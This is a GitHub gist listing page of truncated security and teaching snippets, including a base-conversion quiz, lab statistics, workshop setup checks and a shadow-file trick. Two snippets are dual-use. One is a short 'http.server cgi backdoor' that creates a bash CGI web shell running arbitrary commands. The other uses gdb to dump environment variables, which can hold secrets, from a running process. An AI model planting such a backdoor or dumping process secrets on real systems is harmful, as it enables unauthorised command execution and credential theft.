Skip to content

Instantly share code, notes, and snippets.

@MarkBaggett
MarkBaggett / base_practice.py
Last active July 31, 2023 17:53
Base_practice.py allows you to practice converting between bases and binary logic operations. This script goes along with the video lecture that covers the basic concepts. https://youtu.be/qLtCuSTKk4g
import random
#This program will present you with challenges to convert numbers between bases and perform logical operations.
#This program goes along with the following youtube video. https://youtu.be/qLtCuSTKk4g
# Helper function to create conversion functions for different number bases.
def make_conversion_function(choose_from, prompt_text, input_conversion):
def convert_function():
the_number = random.choice(choose_from)
answer = input(eval(prompt_text))
@MarkBaggett
MarkBaggett / gist:411427eb965e28a99df700adbc853aab
Created March 26, 2023 21:17
Calculate Stats on student lab completions
import numpy as np
import pandas as pd
def objective_to_day(ct):
ct = ct[10:]
return int(ct.split(".")[0])
def objective_to_question(ct):
ct = ct[10:]
return int(ct.split(".")[1])
@MarkBaggett
MarkBaggett / workshop_setup.py
Created October 21, 2022 19:02
SEC673 Workshop Setup Checks
import sys
import subprocess
import webbrowser
import time
import urllib.request
import tempfile
import zipfile
import pathlib
from io import BytesIO
@MarkBaggett
MarkBaggett / workshop_check.py
Last active October 18, 2022 13:25
SEC673 Workshop Setup Check
import sys
import subprocess
import webbrowser
import time
import urllib.request
import tempfile
import zipfile
import pathlib
from io import BytesIO
@MarkBaggett
MarkBaggett / liam_neeson.py
Created August 2, 2022 19:16
Thats right. You can hire Liam Neeson to protect your /etc/shadow file.
#Liam Neeson is the single most protection that any organization can take to protect their Linux passwords hashes.
#Once Liam Neeson is protecting your shadow file all your hashes are invisible to terrorist tools like cat, less and others that process bash escape sequences
#Are you seriously thinking about using this in production? Back up your files and test it first.
#Author @MarkBaggett
import re
import argparse
import os
import sys
@MarkBaggett
MarkBaggett / dump_process_variables.py
Last active September 27, 2022 14:52
Python process to dump the environment variables from a processes memory. (/proc/$$/environ only captures process start)
import sys
import os
import pprint
import pathlib
import subprocess
import logging
import re
def get_local_envvars_pid(process_id):
gdb_script = "set variable $envs = (char **) environ\nset $i = 0\nwhile ($envs[$i] != 0)\nprint $envs[$i++]\nend\nquit\n"
@MarkBaggett
MarkBaggett / gist:ccf8a441f788f6f631f9b5f0e5fa3de9
Created May 28, 2022 21:19
get environment variables from process id
def get_local_envvars_pid(process_id):
gdb_script = "set variable $envs = (char **) environ\nset $i = 0\nwhile ($envs[$i] != 0)\nprint $envs[$i++]\nend\nquit\n"
pathlib.Path("/tmp/getenv.gdb").write_text(gdb_script)
gdb_command = f"gdb -batch -x /tmp/getenv.gdb -p {process_id}"
ph = subprocess.Popen(gdb_command.split(),stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out,err = ph.communicate()
log.debug(f"gdb environment variable output {out} errors {err}")
try:
found_items = re.findall(r'\$\d+\s+=\s+[0-9a-fx]+\s+"(\S+)=(.+)"\n', out.decode())
except:
@MarkBaggett
MarkBaggett / gist:38dcff6a0975f148aa858e924d64c492
Created November 14, 2020 18:22
http.server cgi backdoor
cd /tmp
mkdir cgi-bin
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi
chmod +x ./cgi-bin/backdoor.cgi
python -m http.server --cgi
@MarkBaggett
MarkBaggett / Corona data.ipynb
Last active April 3, 2020 21:14
Corona Virus Testing Statistics Jupyter notebook
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@MarkBaggett
MarkBaggett / twit_interests.py
Last active January 18, 2020 18:50
Determine a persons interests based on who they follow
#!/usr/bin/env python
"""Twit Interest will infer a persons interests based upon the most common words in the descriptions of those they follow"""
from twython import Twython
from collections import Counter
import sys
#Twython isn't a standard module. "python -m pip install twython" to install it. If no pip run this https://bootstrap.pypa.io/get-pip.py
twit = Twython(<your twitter APP KEY HERE> , < Your twitter Secret key here >)
#Need a key? Go https://apps.twitter.com/app/new Create app. Put anything you want for the values in the app.